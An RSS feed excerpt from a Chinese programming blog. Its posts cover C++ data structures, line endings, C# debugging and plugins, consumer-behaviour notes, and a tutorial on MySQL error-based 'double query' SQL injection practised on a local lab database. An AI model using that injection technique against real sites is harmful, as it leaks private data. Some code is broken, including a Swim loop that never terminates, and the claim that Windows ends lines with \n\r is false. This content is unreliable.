      <link>http://blog.leaver.me/2013/04/16/%E6%A8%A1%E6%9D%BF%E4%BC%98%E5%85%88%E7%BA%A7%E9%98%9F%E5%88%97%E5%8F%8A%E5%A0%86%E6%8E%92%E5%BA%8Fc-%E5%AE%9E%E7%8E%B0/</link>
      <pubDate>Tue, 16 Apr 2013 08:42:58 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/04/16/%E6%A8%A1%E6%9D%BF%E4%BC%98%E5%85%88%E7%BA%A7%E9%98%9F%E5%88%97%E5%8F%8A%E5%A0%86%E6%8E%92%E5%BA%8Fc-%E5%AE%9E%E7%8E%B0/</guid>
      <description>&lt;p&gt;模板优先级队列，数组实现，再熟悉一下常用算法，同时简单的堆排序应用&lt;/p&gt;
&lt;p&gt;写了一个是队列自增长，另一个为了演示我还添加了一个叫做FillPq的方法，这个方法可以使用一个数组直接填充到优先级队列里，此时，优先级队列并不优先，然后进行下滤调整，之后建堆完成，输出即可&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;#include &#34;stdafx.h&#34;

template&amp;lt; class T&amp;gt;
class PriorityQueue
{
private:
	 T *pq;
	 int N;
	 int capacity;
public:
	PriorityQueue(void);
	~PriorityQueue(void);
	void Insert(T x);
	T DelTop();
	void Swim(int k);
	void Sink(int k);
	bool Less(int i,int j);
	void Swap(int i,int j);
	bool Resize();
	void FillPq(T arr[],int size);
};

template&amp;lt; class T&amp;gt;
void PriorityQueue&amp;lt;T&amp;gt;::FillPq( T arr[],int size )
{
	N=size;
	capacity=2*size;
	for (int i=0;i&amp;lt;size;i++)
	{
		pq[i+1]=arr[i];
	}
}

template&amp;lt; class T&amp;gt;
PriorityQueue&amp;lt;T&amp;gt;::PriorityQueue(void)
{
	pq=new T[10];
	N=0;
	capacity=10;
}

template&amp;lt; class T&amp;gt;
void PriorityQueue&amp;lt;T&amp;gt;::Insert( T x )
{
	if (N==capacity)
	{
		Resize();
	}
	pq[++N]=x;
	Swim(N);
}

template&amp;lt; class T&amp;gt;
T PriorityQueue&amp;lt;T&amp;gt;::DelTop()
{
	T max=pq[1];
	Swap(1,N--);
	Sink(1);
	pq[N+1]=NULL;
	return max;
}
//下滤
template&amp;lt; class T&amp;gt;
void PriorityQueue&amp;lt;T&amp;gt;::Sink( int k )
{
	while (2*k&amp;lt;=N)
	{
		int j=2*k;
		if (j&amp;lt;N &amp;amp;&amp;amp; Less(j,j+1))
		{
			j++;
		}
		if (!Less(k,j))
		{
			break;
		}
		Swap(k,j);
		k=j;
	}
}
//上浮
template&amp;lt; class T&amp;gt;
void PriorityQueue&amp;lt;T&amp;gt;::Swim( int k )
{
	while (k&amp;gt;1 &amp;amp;&amp;amp; Less(k/2,k))
	{
		Swap(k,k/2);
	}
}

template&amp;lt; class T&amp;gt;
void PriorityQueue&amp;lt;T&amp;gt;::Swap( int i,int j )
{
	T temp=pq[i];
	pq[i]=pq[j];
	pq[j]=temp;
}

template&amp;lt; class T&amp;gt;
bool PriorityQueue&amp;lt;T&amp;gt;::Less( int i,int j )
{
	return pq[i]&amp;lt;pq[j];
}

template&amp;lt; class T&amp;gt;
bool PriorityQueue&amp;lt;T&amp;gt;::Resize()
{
	T *newPq=new T[capacity*2];
	capacity=capacity*2;
	for (int i=1;i&amp;lt;=N;i++)
	{
		newPq[i]=pq[i];
	}
	pq=newPq;
	return true;
}

template&amp;lt; class T&amp;gt;
PriorityQueue&amp;lt;T&amp;gt;::~PriorityQueue(void)
{
}&lt;/pre&gt;
&lt;p&gt;然后是堆排序&lt;/p&gt;</description>
    </item>
    <item>
      <title>模板栈以及中缀表达式求值(C&#43;&#43;实现)</title>
      <link>http://blog.leaver.me/2013/04/11/%E6%A8%A1%E6%9D%BF%E6%A0%88%E4%BB%A5%E5%8F%8A%E4%B8%AD%E7%BC%80%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B1%82%E5%80%BCc-%E5%AE%9E%E7%8E%B0/</link>
      <pubDate>Thu, 11 Apr 2013 18:50:25 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/04/11/%E6%A8%A1%E6%9D%BF%E6%A0%88%E4%BB%A5%E5%8F%8A%E4%B8%AD%E7%BC%80%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B1%82%E5%80%BCc-%E5%AE%9E%E7%8E%B0/</guid>
      <description>&lt;p&gt;栈直接用链表实现，这个比较简单，不多说，不过C++写程序，IDE的错误检测不是很给力。&lt;/p&gt;
&lt;p&gt;至于给定一个中缀表达式，如何不转换成后缀表达式，直接求值，方法就是使用两个栈，一个操作符栈，一个操作数栈，然后从左到右扫描表达式，我这里中缀表达式计算实现的很简单，不完整，大家可以扩展。栈的实现是我想写的，思路如下：&lt;/p&gt;
&lt;p&gt;1.如何是操作数，压入操作数栈&lt;/p&gt;
&lt;p&gt;2.如果是操作符，压入操作符栈&lt;/p&gt;
&lt;p&gt;3.如果是左括号，直接忽略&lt;/p&gt;
&lt;p&gt;4.如果是有括号，弹出操作符栈栈顶元素，然后弹出操作数栈两个元素，进行操作以后结果压入操作数栈&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;看个图就好了&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/34863_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/d0b2eed86d2ba2b987d3e5db380b9a452e8f5f87.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;最后给出栈顶实现代码&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;#include &#34;stdafx.h&#34;
#pragma region Node定义

template &amp;lt;class T&amp;gt;
class Node
{
	template&amp;lt;class T&amp;gt; 
	friend class Stack;
private:
	T m_data;
	Node *pNextNode;
public:
	Node();
	Node(T d);
};

template &amp;lt;class T&amp;gt;
Node&amp;lt;T&amp;gt;::Node()
{
	m_data=default(T);
	pNextNode=NULL;
}
template &amp;lt;class T&amp;gt;
Node&amp;lt;T&amp;gt;::Node(T d)
{
	m_data=d;
	pNextNode=NULL;
}
#pragma endregion 

#pragma region Stack定义

template &amp;lt;class T&amp;gt;
class Stack
{

private:
	Node&amp;lt;T&amp;gt; *m_pTopNode;
	int m_nNodeCount;
public:
	Stack();
	~Stack();
	bool IsEmpty();
	bool Push(T e);
	T Pop();
	int Size();
};

template &amp;lt;class T&amp;gt;
Stack&amp;lt;T&amp;gt;::Stack() : m_pTopNode(NULL),m_nNodeCount(0)
{
}

template &amp;lt;class T&amp;gt;
Stack&amp;lt;T&amp;gt;::~Stack()
{
	while (!IsEmpty())
	{
		Node&amp;lt;T&amp;gt; *pTempNode = m_pTopNode;
		m_pTopNode = m_pTopNode-&amp;gt;pNextNode;
		delete (pTempNode);
		pTempNode = NULL;
	}
	m_nNodeCount = 0;
	m_pTopNode = NULL;
}

template &amp;lt;class T&amp;gt;
bool Stack&amp;lt;T&amp;gt;::IsEmpty()
{
	return (m_pTopNode == NULL);
}

template &amp;lt;class T&amp;gt;
bool Stack&amp;lt;T&amp;gt;::Push(T e )
{
	Node&amp;lt;T&amp;gt; *pNewNode = new Node&amp;lt;T&amp;gt;(e);
	if (NULL == pNewNode)     {
		return false;
	}

	if(! IsEmpty()) {
		pNewNode-&amp;gt;pNextNode = m_pTopNode;
	}
	m_pTopNode = pNewNode;
	m_nNodeCount ++;

	return true;
}

template &amp;lt;class T&amp;gt;
T Stack&amp;lt;T&amp;gt;::Pop()
{
	if(IsEmpty()) {
		return T(-1);
	}
	T e;
	e = m_pTopNode-&amp;gt;m_data;
	Node&amp;lt;T&amp;gt; *pNode = m_pTopNode;
	m_pTopNode = m_pTopNode-&amp;gt;pNextNode;
	delete (pNode);
	m_nNodeCount--;

	return e;
}

template &amp;lt;class T&amp;gt;
int Stack&amp;lt;T&amp;gt;::Size()
{
	return m_nNodeCount;
}
#pragma endregion&lt;/pre&gt;
&lt;p&gt;然后是main函数代码&lt;/p&gt;</description>
    </item>
    <item>
      <title>并查集(C&#43;&#43;实现)</title>
      <link>http://blog.leaver.me/2013/04/11/%E5%B9%B6%E6%9F%A5%E9%9B%86c-%E5%AE%9E%E7%8E%B0/</link>
      <pubDate>Thu, 11 Apr 2013 08:45:38 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/04/11/%E5%B9%B6%E6%9F%A5%E9%9B%86c-%E5%AE%9E%E7%8E%B0/</guid>
      <description>&lt;p&gt;并查集这个很有意思，并查集是一种树型的数据结构，用于处理一些不相交集合（Disjoint Sets）的合并及查询问题。昨天看书看到了，然后用C++简单实现了下。在Dijkstra算法中，用来判断两个顶点是否在同一个集合里。&lt;/p&gt;
&lt;p&gt;里面定义了两个类，都是并查集，一个是QuickFind，查找很快，一个是QuickUnion，合并较快。写了一些注释，有一些优化的提示.看代码吧，有什么问题指出来吧。&lt;/p&gt;
&lt;p&gt;QuickFind的实现&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;#include &#34;QuickFind.h&#34;

QuickFind::QuickFind(int N)
{
	size=N;
	id=new int[N];
	for(int i=0;i&amp;lt;N;i++)
	{
		id[i]=i;
	}
}

bool QuickFind::Find(int p,int q)
{
	return id[p]==id[q];
}

void QuickFind::Unite(int p,int q)
{
	int pid=id[p];
	for(int i=0;i&amp;lt;size;i++)
		if(id[i]==pid)
			id[i]=id[q];

}
QuickFind::~QuickFind(void)
{
	delete []id;
}&lt;/pre&gt;
&lt;p&gt;QuickUnion的实现&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;#include &#34;QuickUnion.h&#34;

QuickUnion::QuickUnion(int N)
{
	size=N;
	id=new int[N];
	for(int i=0;i&amp;lt;N;i++)
	{
		id[i]=i;
	}
}
int QuickUnion::root(int i)
{
	while (i!=id[i])
	{
		//id[i]=id[id[i]]; 若添加这句话则为压缩路径
		i=id[i];
	}
	return i;
}
bool QuickUnion::Find(int p,int q)
{
	return root(p)==root(q);
}

void QuickUnion::Unite(int p,int q)
{
	//将p的根挂在q的根上，
	//这样会导此数变高，若需要优化，需要设置另一个
	//数组sz[]，sz[i]表示所以根为i的节点的数目，然后将
	//小树靠在大树上

	/*
	int i=root(p);
	int j=root(q);
	if(sz[i]&amp;lt;sz[j])
	{
		id[i]=j;sz[j]+=sz[i];
	}
	else
	{
		id[j]=i;sz[i]+=sz[j];
	}*/
	int rootp=root(p);
	int rootq=root(q);
	id[rootp]=rootq;
}
QuickUnion::~QuickUnion(void)
{
	delete []id;
}&lt;/pre&gt;
&lt;p&gt;参考文档(英文)：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=436984&amp;amp;uk=1493685990&#34;&gt;UnionFind.pdf&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;工程代码下载：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=436978&amp;amp;uk=1493685990&#34;&gt;并查集Demo&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>和
浅析</title>
      <link>http://blog.leaver.me/2013/04/05/%E5%92%8C-%E6%B5%85%E6%9E%90/</link>
      <pubDate>Fri, 05 Apr 2013 13:29:04 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/04/05/%E5%92%8C-%E6%B5%85%E6%9E%90/</guid>
      <description>&lt;p&gt;这两个转义字符最初学习C++的时候看到了,当时没多想，后来某一天突然想起来，回车不就是换行吗？这不是多此一举吗？今天又看到，索性查了下相关资料，整理一下，留作记录.&lt;/p&gt;
&lt;p&gt;关于“回车”（carriage return）和“换行”（line feed）这两个概念的来历和区别。&lt;/p&gt;
&lt;p&gt;在计算机还没有出现之前，有一种叫做电传打字机（Teletype Model 33）的玩意，每秒钟可以打10个字符。但是它有一个问题，就是打完一行换行的时候，要用去0.2秒，正好可以打两个字符。要是在这0.2秒里面，又有新的字符传过来，那么这个字符将丢失。&lt;/p&gt;
&lt;p&gt;于是，研制人员想了个办法解决这个问题，就是在每行后面加两个表示结束的字符。一个叫做“回车”，告诉打字机把打印头定位在左边界；另一个叫做“换行”，告诉打字机把纸向下移一行（这句的意思是把纸向上拉，然后打印头就定位到了下一行），可以想象一下，这个打印头只能在一个固定的水平线上左右移动，而不能上下移动，我们通过移动纸来完成打印下一行。&lt;/p&gt;
&lt;p&gt;不明白的我在youtube上找到一个这种打字机的演示视频，为了方便读者观看，我提供一个&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=428006&amp;amp;uk=1493685990&#34;&gt;下载地址&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;后来，计算机发明了，这两个概念也就被般到了计算机上。那时，存储器很贵，一些科学家认为在每行结尾加两个字符太浪费了，加一个就可以。于是，就出现了分歧。&lt;/p&gt;
&lt;p&gt;Unix系统里，每行结尾只有&amp;quot;&amp;lt;换行&amp;gt;&amp;quot;，即&amp;quot;\n&amp;quot;；&lt;/p&gt;
&lt;p&gt;Windows系统里面，每行结尾是&amp;quot;&amp;lt;换行&amp;gt;&amp;lt;回车&amp;gt;&amp;quot;，即&amp;quot;\n\r&amp;quot;；&lt;/p&gt;
&lt;p&gt;Mac系统里，每行结尾是&amp;quot;&amp;lt;回车&amp;gt;&amp;quot;，不过mac基于unix，所以换行也应该是可以的。&lt;/p&gt;
&lt;p&gt;一个直接后果是，Unix/Mac系统下的文件在Windows里打开的话，所有文字会变成一行；而Windows里的文件在Unix/Mac下打开的话，在每行的结尾可能会多出一个^M符号。这个如果你在windows下使用vim也会发现这个情况&lt;/p&gt;
&lt;p&gt;用C++来说明&lt;/p&gt;
&lt;p&gt;如：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;int main() 
{
   cout &amp;lt;&amp;lt; &#34;leaver.me&#34; &amp;lt;&amp;lt; &#34;\r&#34; &amp;lt;&amp;lt; &#34;bystander&#34; ;
   return 0;
}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;最后只显示 bystander 而 leaver.me 背覆盖了&lt;/p&gt;
&lt;p&gt;\n 是换行，系统会将其替换成回车＋换行 把光标 先移到 行首 然后换到下一行 也就是 下一行的行首拉&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;int main() 
{
   cout &amp;lt;&amp;lt; &#34;leaver.me&#34; &amp;lt;&amp;lt; &#34;\n&#34; &amp;lt;&amp;lt; &#34;bystander&#34; ;
   return 0;
}&lt;/pre&gt;
&lt;p&gt;则 显示&lt;/p&gt;
&lt;p&gt;leaver.me&lt;/p&gt;
&lt;p&gt;bystander&lt;/p&gt;
&lt;p&gt;一句话，这看起来是一个历史遗留问题&amp;hellip;&amp;hellip;&lt;/p&gt;</description>
    </item>
    <item>
      <title>详细讲解双查询注入</title>
      <link>http://blog.leaver.me/2013/03/03/%E8%AF%A6%E7%BB%86%E8%AE%B2%E8%A7%A3%E5%8F%8C%E6%9F%A5%E8%AF%A2%E6%B3%A8%E5%85%A5/</link>
      <pubDate>Sun, 03 Mar 2013 07:53:24 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/03/03/%E8%AF%A6%E7%BB%86%E8%AE%B2%E8%A7%A3%E5%8F%8C%E6%9F%A5%E8%AF%A2%E6%B3%A8%E5%85%A5/</guid>
      <description>&lt;p&gt;上一篇文章中，&lt;a href=&#34;http://leaver.me/archives/2726.html&#34;&gt;http://leaver.me/archives/2726.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;我说双查询很难讲清楚，这次就试着讲一下。读了一些原理性的东西。然后尽量通俗的给大家讲清楚。。&lt;/p&gt;
&lt;p&gt;在此之前，我们理解一下子查询，查询的关键字是select，这个大家都知道。子查询可以简单的理解在一个select语句里还有一个select。里面的这个select语句就是子查询。&lt;/p&gt;
&lt;p&gt;看一个简单的例子：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Select concat((select database()));&lt;/pre&gt; 
&lt;p&gt;真正执行的时候，先从子查询进行。因此执行select database() 这个语句就会把当前的数据库查出来，然后把结果传入到concat函数。这个函数是用来连接的。比如 concat(‘a’,’b’)那结果就是ab了。&lt;/p&gt;
&lt;p&gt;原理：&lt;/p&gt;
&lt;p&gt;双注入查询需要理解四个函数/语句
1. Rand()  //随机函数
2. Floor()  //取整函数
3. Count()  //汇总函数
4. Group by clause //分组语句&lt;/p&gt;
&lt;p&gt;简单的一句话原理就是有研究人员发现，当在一个聚合函数，比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。&lt;/p&gt;
&lt;p&gt;以本地一个名为Security的数据库为例
首先在bt5下的命令行下输入&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;mysql -u root –p toor&lt;/pre&gt; 
&lt;p&gt;就会连接上数据库了。
然后通过use security； 就可以切换到security数据库了。因为一个服务器上可能有多个数据库嘛。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/33517_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/522ac49ec64d3b7735b3dc208564de22477e4aba.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后我们执行一下前面那个简单的子查询的例子&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;SELECT concat((select database()));&lt;/pre&gt; 
&lt;p&gt;就能显示security，也就是显示了当前数据库的名字了。
然后我们测试一下concat的用法。输入&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;SELECT concat(&#39;string1&#39;,&#39;string2&#39;);&lt;/pre&gt; 
&lt;p&gt;显然结果就是string1string2了&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/33518_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/a8be70e4ddb999500369b44191c7c188b4ecf651.png&#34;&gt;&lt;/a&gt;
然后我们测试一下rand()这个随机函数是干嘛的&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Select rand();&lt;/pre&gt; 
&lt;p&gt;我们多执行几次
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/33519_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/ab02015d63c2fc6d0af98492ae791d58a7665000.png&#34;&gt;&lt;/a&gt;
可以看到，这个函数就是返回大于0，小于1之间的数
然后看看取整函数&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Select floor(1.1123456);&lt;/pre&gt; 
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/33520_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/4477acaba79cf1464c028cab96e32534d81af2e5.png&#34;&gt;&lt;/a&gt;
这个函数就是返回小于等于你输入的数的整数。&lt;/p&gt;
&lt;p&gt;然后我们看看双注入查询中的一个简单组合。大家从我的上一篇文章中应该也看到了有一个子查询是&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;SELECT floor(rand()*2);&lt;/pre&gt; 
&lt;p&gt;我们从里向外看。rand() 返回大于0小于1的小数，乘以2之后就成了小于0小于2了。然后对结果进行取证。就只能是0或1了。也就是这个查询的结果不是1，就是0
我们稍微加大一点难度。看这个查询&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;SELECT CONCAT((SELECT database()), FLOOR(RAND()*2));&lt;/pre&gt; 
&lt;p&gt;不要怕。先看最里面的SELECT database() 这个就返回数据库名，这里就是security了。然后FLOOR(RAND()*2)这个上面说过了。不是0，就是1.然后把这两个的结果进行concat连接，那么结果不是security0就是security1了。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/33521_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/f29b4115541e053c2e100bc7a35cdd51aaa9c2e5.png&#34;&gt;&lt;/a&gt;
如果我们把这条语句后面加上from 一个表名。那么一般会返回security0或security1的一个集合。数目是由表本身有几条结果决定的。比如一个管理表里有5个管理员。这个就会返回五条记录，这里users表里有13个用户，所以返回了13条
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/33522_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/d272e51a8be57b8739ab1c63516af31cd795f6ab.png&#34;&gt;&lt;/a&gt;
如果是从information_schema.schemata里，这个表里包含了mysql的所有数据库名。这里本机有三个数据库。所以会返回三个结果&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/33523_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/8c67270890234e1d851d71c02e44e7511cedcdbd.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;现在我们准备加上Group By 语句了。
我们使用information_schema.tables 或 information_schema.columns者两个表来查询。因为表里面一般数据很多。容易生成很多的随机值，不至于全部是security0，这样就不能查询出结果了。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;select concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;&lt;/pre&gt; 
&lt;p&gt;这里我先解释一下。我们把concat((select database()), floor(rand()*2)) 这个结果取了一个别名 a ，然后使用他进行分组。这样相同的security0分到一组，security1分到一组。就剩下两个结果了。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/33524_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/c9ad11cc6de49646801b61d3143e1fa9c5d0b0af.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;注意。这里的database()可以替换成任何你想查的函数，比如version(), user(), datadir()或者其他的查询。比如查表啊。查列啊。原理都是一样的。&lt;/p&gt;
&lt;p&gt;最后的亮点来了。。
我们输入这条：注意多了一个聚合函数count(*)&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;select count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;&lt;/pre&gt; 
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/33525_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/03af307809c7bcdfd4f77d3551d39e1d7fa7e515.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;报错了&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;ERROR 1062 (23000): Duplicate entry &#39;security1&#39; for key ‘group_key’&lt;/pre&gt; 
&lt;p&gt;重复的键值 可以看到security就是我们的查询结果了
想要查询版本就这样：&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#中的Debug类</title>
      <link>http://blog.leaver.me/2013/03/01/c%23%E4%B8%AD%E7%9A%84debug%E7%B1%BB/</link>
      <pubDate>Fri, 01 Mar 2013 22:57:22 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/03/01/c%23%E4%B8%AD%E7%9A%84debug%E7%B1%BB/</guid>
      <description>&lt;p&gt;位于命名空间System.Diagnostics中
1.Debug.Print方法&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Debug.Print(&#34;Today: {0}&#34;, DateTime.Today);&lt;/pre&gt; 
&lt;p&gt;2.Debug.WriteLine方法&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Debug.WriteLine(&#34;Have a nice day&#34;);&lt;/pre&gt; 
&lt;p&gt;3.TraceListener类&lt;/p&gt;
&lt;p&gt;DelimitedListTraceListener创建的时候指定一个文件名，当Flush调用的时候，就被覆写到文件里。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;TraceListener listener = new DelimitedListTraceListener(@&#34;C:\debugfile.txt&#34;);

        // Add listener.
        Debug.Listeners.Add(listener);

        // Write and flush.
        Debug.WriteLine(&#34;Welcome&#34;);
        Debug.Flush();&lt;/pre&gt; 
&lt;p&gt;4.Debug.Write和WriteIf以及WriteLineIf方法&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Debug.WriteLineIf(IsThursday(), &#34;Thursday&#34;);
&lt;/pre&gt; 
&lt;p&gt;第一个参数一个bool值，为真则输出。&lt;/p&gt;
&lt;p&gt;5.Debug.Assert方法&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Debug.Assert(value != -1, &#34;Value must never be -1.&#34;);&lt;/pre&gt; 
&lt;p&gt;如果表达式为false，则输出。&lt;/p&gt;</description>
    </item>
    <item>
      <title>消费者行为学</title>
      <link>http://blog.leaver.me/2013/02/26/%E6%B6%88%E8%B4%B9%E8%80%85%E8%A1%8C%E4%B8%BA%E5%AD%A6/</link>
      <pubDate>Tue, 26 Feb 2013 21:33:12 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/02/26/%E6%B6%88%E8%B4%B9%E8%80%85%E8%A1%8C%E4%B8%BA%E5%AD%A6/</guid>
      <description>&lt;p&gt;　　今天一直在自习。。中午遇到了初中同桌。。5年没见了吧。聊了一会。被各种叮嘱“一定不要找太娇生惯养的，太粘人的，太无理取闹的。要听我的话，不然受苦的可是你。”哈哈。当时笑喷了。谢谢同桌。好好工作吧。&lt;/p&gt;
&lt;p&gt;　　这本书是寒假在家看的一本书。一点点笔记。&lt;/p&gt;
&lt;p&gt;　　选择喜爱的网站在很大程度上是一种生活方式的声明，它说明了一个人的兴趣和他想成为哪一类型的人，人们选择一种产品。通常是因为他们喜欢他的个性，觉得和自己比较温和。甚至有些人认为，使用产品后，他所拥有的令人渴望的品质会转移到自己身上。&lt;/p&gt;
&lt;p&gt;　　每一年，人们都会购买大量几乎没有任何味道，没有任何营养的食品，这说明现代消费者行为学领域的一个基本前提是，人们购买产品往往并非因为他们能做什么，而是因为他们意味着什么。在其相同的情况下，人们会选择那些具有与其潜在需求一致的形象/个性的品牌。&lt;/p&gt;
&lt;p&gt;　　营销者与消费者共处于一种复杂的双向关系中，往往很难判断营销活动是在哪里结束，而“真实世界”又在哪里开始，这种界限的模糊带来一个结果，那就是我们不再确定（或者也不在意）区分虚构世界和现实的界限究竟在哪里。有时候，我们呢愉快地加入到这个幻想中。&lt;/p&gt;
&lt;p&gt;　　商业道德是引导市场行为的原则。包括诚实，可信赖，公平，尊重，正义。消费者认为行为道德的公司制造的产品评价较高。&lt;/p&gt;
&lt;p&gt;　　品牌是在消费者头脑中设立的账户，也许巨额投入的营销策略只可以提高一个品牌的小小美誉度，而一次不大的产品质量危机则可能会一夜之间让该品牌资产荡然无存。&lt;/p&gt;
&lt;p&gt;　　需求是一种基本的生物动机，欲望是社会教给我们的可用以满意需求的一种方式，比如口渴是生物意义上的，而我们被教会用可口可乐而不是（比如）羊奶来满足解渴的需要，因此，需求是本来就已经存在的。营销者只是推荐满足他的方法。营销的一个基本目标就是引起人们认识到需要的存在，而不是创造需求。&lt;/p&gt;
&lt;p&gt;　　广告人对于人们的了解还远远未达到操纵他们的程度，新产品的失败率从40-80%，尽管人们认为神奇手段和科学技术在操纵他们，而事实上。只有设法销售优秀产品时才会成功。&lt;/p&gt;
&lt;p&gt;　　绿色营销越来越普遍。强迫性消费是指反复的而且常是过度的购物行为，他被当作压力/焦虑/沮丧/无聊的宣泄渠道。和毒品类似。女性观有强迫购物失常的概率是男性的4倍，女性被服装和化妆品吸引，男性则被小配件，工具，枪支等吸引。&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#反射实现简单的插件系统</title>
      <link>http://blog.leaver.me/2013/02/21/c%23%E5%8F%8D%E5%B0%84%E5%AE%9E%E7%8E%B0%E7%AE%80%E5%8D%95%E7%9A%84%E6%8F%92%E4%BB%B6%E7%B3%BB%E7%BB%9F/</link>
      <pubDate>Thu, 21 Feb 2013 08:28:27 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/02/21/c%23%E5%8F%8D%E5%B0%84%E5%AE%9E%E7%8E%B0%E7%AE%80%E5%8D%95%E7%9A%84%E6%8F%92%E4%BB%B6%E7%B3%BB%E7%BB%9F/</guid>
      <description>&lt;p&gt;如果用过一些优秀的开源或是非开源的应用软件，就会发现这些软件的一个很大的优势就是其开放性，任何有能力的人都可以为其开发不同的插件来增强其的功能。比如著名的foobar2000，Vim和TotalCommander等等。&lt;/p&gt;
&lt;p&gt;C#的反射可以用来实现一个简单的插件系统。思路很简单，我们创建一个解决方案，包含三个工程，一个为我们的软件MyApplication，一个为插件接口IPlugin，一个为具体的插件MyPlugin。插件系统的基本思路是我们用一个接口类库,来定义我们软件可以使用的插件必须实现的方法签名。然后我们的软件MyApplication通过引用该IPlugin dll来动态调用，而具体的实现插件MyPlugin则引用该接口来实现具体的方法。这样我们的应用程序就能在不知道具体插件的情况下调用插件了。。&lt;/p&gt;
&lt;p&gt;结构图如下：&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/32896_o.jpg&#34;&gt;&lt;img alt=&#34;Myapplication&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/bf202a9b50d5ce497f88718743c344d8579fadf1.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;关键代码也就是通过对程序集载入。搜索到对应接口的实现类。然后调用即可。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;Assembly a = Assembly.LoadFrom(AssemblyName);
                foreach (Type t in a.GetTypes())
                {
                    if (t.GetInterface(&#34;IMyFunction&#34;) != null)
                    {
                        try
                        {
                            IMyFunction pluginclass = Activator.CreateInstance(t) as IMyFunction;
                            pluginclass.doSomething();
                        }
                        catch (Exception ex)
                        {
                            MessageBox.Show(ex.ToString());
                        }
                    }
                }&lt;/pre&gt;
